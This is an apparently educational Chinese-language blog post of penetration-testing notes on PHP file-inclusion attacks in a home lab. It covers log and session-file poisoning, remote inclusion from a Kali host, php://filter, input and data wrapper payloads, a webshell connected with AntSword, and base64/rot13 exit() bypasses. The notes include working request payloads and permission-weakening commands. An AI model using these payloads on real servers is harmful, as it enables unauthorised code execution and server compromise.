03_文件包含

文件包含:

一、常用的函数

(1) include
(2) include_once
(3) require
(4) require_once
(5) file_get_contents

区别:
(1) include和require的区别:
    在引入一个不存在的文件的时候,include 会报一个警告错误,代码继续往下执行
    而require会报一个致命的错误,代码不会往下执行

(2) incude 和 include_once 或者 require 和 require_once 的 区别:
    include或者require可以多次引入文件,多次执行
    但是include_once或者require_once,执行一次.

    举例(2)的区别:
    举例一个bihuo.php文件  文件内容 <?php echo 'helloworld';?>

    然后在另一个php文件里写入
    <?php
    include_once 'bihuo.php';	//输出 helloworld	
    include 'bihuo.php';        //输出 helloworld
    require_once 'bihuo.php';	//不输出
    require 'bihuo.php'			//输出 helloworld

    此时这种情况只会输出三个 helloworld
    include和require必然都会输出一次,因为这两个可以多次执行
    刚开始的include_once,因为之前没有bihuo.php文件,所以可以输出
    但是require_once因为之前有引入过bihuo.php,所以不会输出

二、本地文件包含

(1) 上传图片马,包含图片马 用有文件包含代码的文件引入图片马即可
(2) 包含服务器所在的主机上的文件
(3) 包含日志文件
举例:nginx服务器 成功时候默认的日志文件 
路径: C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\www.localhost.com_acess.log
第一步: 在nginx开启的时候,网页上随便访问个存在的网站,然后带个参数
	   http://www.localhost.com/?<?php phpinfo();?>
第二步: 成功访问到之后,在查看www.localhost.com_acess.log这个日志文件
	   某一部分包含经过url编码后的 %3C?php%20phpinfo();?%3E
第三步: 此时如果我们直接用有文件包含代码的文件来引入这个日志文件,并不会解析php代码
第四步: 因此,我们可以在写入的时候,通过burpsuite抓包,修改参数信息
	   修改前:
			GET /?%3C?php%20phpinfo();?%3E HTTP/1.1
	   修改后:
			GET /?<?php phpinfo();?> HTTP/1.1
第五步: 放包之后,再次查看日志文件,某一部分就多出<?php phpinfo();?> 并且没经过url编码
第六步: 然后我们再来用有文件包含代码的文件来引入这个日志文件,解析了php代码
(4) 包含session文件拿shell
session和cookie的区别,session是存在服务端的,而cookie是存放在客户端的
session一般会被存放在一个临时的session文件中
第一步: 写入session的时候
	   http://www.localhost.com/session_set.php?input=<?php phpifo();?>
第二步: 获取session的时候
	   http://www.localhost.com/session_get.php
	   可以通过burpsuite抓包获取,查看cookie
第三步: 获取session文件名
	   在客户端,会用cookie来设置session
	   cookie的名字就是PHPSESSID
	   cookie的值是session文件后面的那部分
	   举例: Cookie: PHPSESSID=5bra5ncrt919prl6eccc0dftt6

	   session文件固定的写法sess_加上一长串字符
	   sess_5bra5ncrt919prl6eccc0dftt6

第四步: 临时session文件里面的内容(session名 + 值 )  
	   举例: bihuo|s:18:"<?php phpinfo();?>";
	   
第五步: 路径这里,可以通过有phpinfo()的php文件,搜索session.save_path 即可找到
	   路径:C:\phpstudy_pro\Extensions\tmp\tmp\sess_5bra5ncrt919prl6eccc0dftt6
	   
第六步: 直接用有文件包含的php文件,引入session文件即可

三、远程文件包含

1. 前提条件:

在php.ini中 allow_url_fopen allow_url_include 必须设置为on

2. 特性:

当进行远程文件包含时 可以使用? #(%23) 截断后面的字符串

举例: 在包含引入文件的代码里面,get参数拼接随机函数
        <?php
            if(isset($_GET[page])){
            $page = $_GET[page].rand();
            echo $page;
            include $page;
            }else{
            echo '没有获取到远程文件内容';
            }

192.168.11.131为kali的ip,bihuo.txt里面的内容为<?php phpinfo();?>
使用远程包含的时候,kali得先开始apache服务,开启的命令  service apache2 start ,不然会不显示网页 

http://www.localhost.com/include_rand.php?page=http://192.168.11.131/bihuo.txt?
http://www.localhost.com/include_rand.php?page=http://192.168.11.131/bihuo.txt%23
3. 使用场景(kali里面):
(1) 包含kali里面的文件(需要注意开启apache2服务器,默认路径/var/www/html/)
(2) 包含日志文件
a) 包含apache2的日志文件(/var/log/apache2/access.log)
原理同上面本地的日志文件一样,同样需要burpsuite抓包,修改参数信息,不让代码经过url编码,写入日志文件
只不过在本地抓包的时候,使用kali的ip打开网站,http://192.168.11.131?<?php phpinfo();?>
	
注意: 权限问题
apache2文件夹没有对其他用户的权限
因此我们无法文件包含解析了access.log日志里面的php代码
所以我们需要提权
递归文件夹提权:
chmod -R 0777 /var/log/apache2  
b) 包含ssh的auth.log日志文件(/var/log/auth.log)
(1) 本地ssh远程登陆(需要了解才可以进行下面步骤):
    首先在kali开启ssh服务:
    service ssh start 
	然后在本地 ssh kali@192.168.11.131  密码也是kali ,就可以在本地打开kali的命令终端
 			
   注意: 默认无法在本地打开root用户的命令终端
       如果想在本地打开kali的root用户的命令终端
       
	第一步: 需要给在kali给root用户设置密码
	              passwd root
	              设置密码:root
	              重复密码:root
	
	第二步: 需要修改个配置文件
			gedit /etc/ssh/sshd_config 
		    找到 PermitRootLogin 这个配置项 去掉前面的#注释,后面改为yes   
			PermitRootLogin yes
		    这个是ssh的允许root用户登录的一个配置,默认是不允许
	
	第三步: 修改配置文件之后,重启ssh服务
			service ssh restart
	第四步: 然后在本地 ssh root@192.168.11.131 密码是root ,就可以在本地打开root用户的命令终端
 	
(2) 在kali里面root用户也可以登录kali用户 
	ssh kali@192.168.11.131  密码kali 
 				
(3) 原理: 不管切换存在或者不存在的用户,都会被记录到默认的auth.log文件中
	 那么我们可以切换不存在的用户	
	 ssh '<?php phpinfo();?>'@192.168.11.131  密码随便写,反正也是错误的,然后会弹出一个错误
	 但是,此时的auth.log文件里某部分就包含了<?php phpinfo();?> 
	然后我们也可以利用有文件包含代码的文件来引入auth.log日志文件,从而解析php代码
 		
(4) 日志文件太多的话,可以用以下命令查找,类似于模糊查询
	cat /var/log/auth.log | grep phpinfo
 	
      注意:权限问题
          auth.log日志文件默认没有给其他用户的权限,因此直接引入,也不会解析,需要提权
              chmod 0777 /var/log/auth.log
  
      最后引入
          http://192.168.11.131/include_test.php?page=/var/log/auth.log

四、文件包含常用的几种伪协议(filter,input,data,file,zip)

1. filter 协议:
php://filter/read=convert.base64-encode/resource=bihuo.php
以base64编码的方式读取文件,bihuo.php为要读取的文件

bihuo.php 文件里面的内容 <?php phpinfo();?>

//举例写法
http://www.localhost.com/include_test.php?page=php://filter/read=convert.base64-encode/resource=bihuo.php

//输出结果,结果为bihuo.php里面的内容经过base64编码后的值 
PD9waHAgcGhwaW5mbygpOz8+

//经过base64解码后,与bihuo.php的内容一致
<?php phpinfo();?>
2. input 协议:
php://input   将post请求体中的内容执行

//举例写法
http://www.localhost.com/include_test.php?page=php://input

//通过burpsuite抓包之后,请求包中的信息
GET /include_test.php?page=php://input HTTP/1.1
......

//在经过右键,Change request method,将GET请求转换为POST请求,并且page=php://input 必须加在url上,以GET方式接收page的值,然后在请求体上写php代码,放包之后,响应的页面就是解析代码之后的页面

POST /include_test.php?page=php://input HTTP/1.1
......
......

<?php phpinfo();?>
3. data 协议:
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,base64编码后的代码
4. file 协议:
file://
file://
必须绝对路径
/ 个数 >=2
5. zip 协议:
zip://压缩包所在的路径#包含想要执行代码的文件名
绝对+相对路径

五、流量分析(蚁剑)

原理: 利用php://input协议,三次decode
第一步: 利用php://input协议,写入一句话木马,进行蚁剑连接
在这里插入图片描述

请求体这里加上一句话木马

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kVPNAiSi-1670659721081)(D:\必火渗透测试\渗透测试总结\images\文件包含\include_input2.png)]
第二步: 蚁剑antsword 改代理,联合burpsuite抓包
第三步: 查看 文件保存调试 或者 查看 数据库show databases

六、exit() 绕过

题目:

<?php
    $input = $_GET['input'];
    $filename = $_GET['filename'];
    file_put_contents($filename, '<?php exit();'.$input);

答案(百度方法很多,下面只介绍了两种):

1. base64编码 绕过exit():
<?php phpinfo(); ?>经过base64编码后为PD9waHAgcGhwaW5mbygpOyA/Pg==

http://www.localhost.com/include_exit.php?filename=php://filter/write=convert.base64-decode/resource=test.php&input=1PD9waHAgcGhwaW5mbygpOyA/Pg==

原理:
	4个base64编码  最多对应 3个原字符
	base64编码规则,4位一体,4的倍数

解析:
	(1) < ? 空格 ; ( )  不会出现在base64编码中,这里以base64解码的方式写入文件里
	(2) 意味着将 '<?php exit();' 这段字符串当作base64的编码来进行解码
	(3) 原本13个字符串,剔除了base64无法解码的 < ? 空格 ( ) ;  之后,只剩7个字符串
	(4) 7个base64的编码, 而base64的编码都是4的倍数,所以传值的时候要补一位,或者补多位,凑成4的倍数  
	(5) 因此input传的参数前面加了个1 ===> 1PD9waHAgcGhwaW5mbygpOyA/Pg==

2. rot13编码 绕过exit():
<?php phpinfo();?>经过rot13编码后为<?cuc cucvasb();?>

http://www.localhost.com/lesson_include/include_exit.php?filename=php://filter/write=string.rot13/resource=exit.php&input=<?cuc cucvasb();?>

重点: php.ini里面的短标签()设置为off,默认为On  
	 短标签举例: <?= phpinfo();?> 
	 short_open_tag = Off
 
写入exit.php文件里面的内容,开启短标签的话<?cuc rkvg();会被当作php代码,关闭的话,不会当成php代码
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值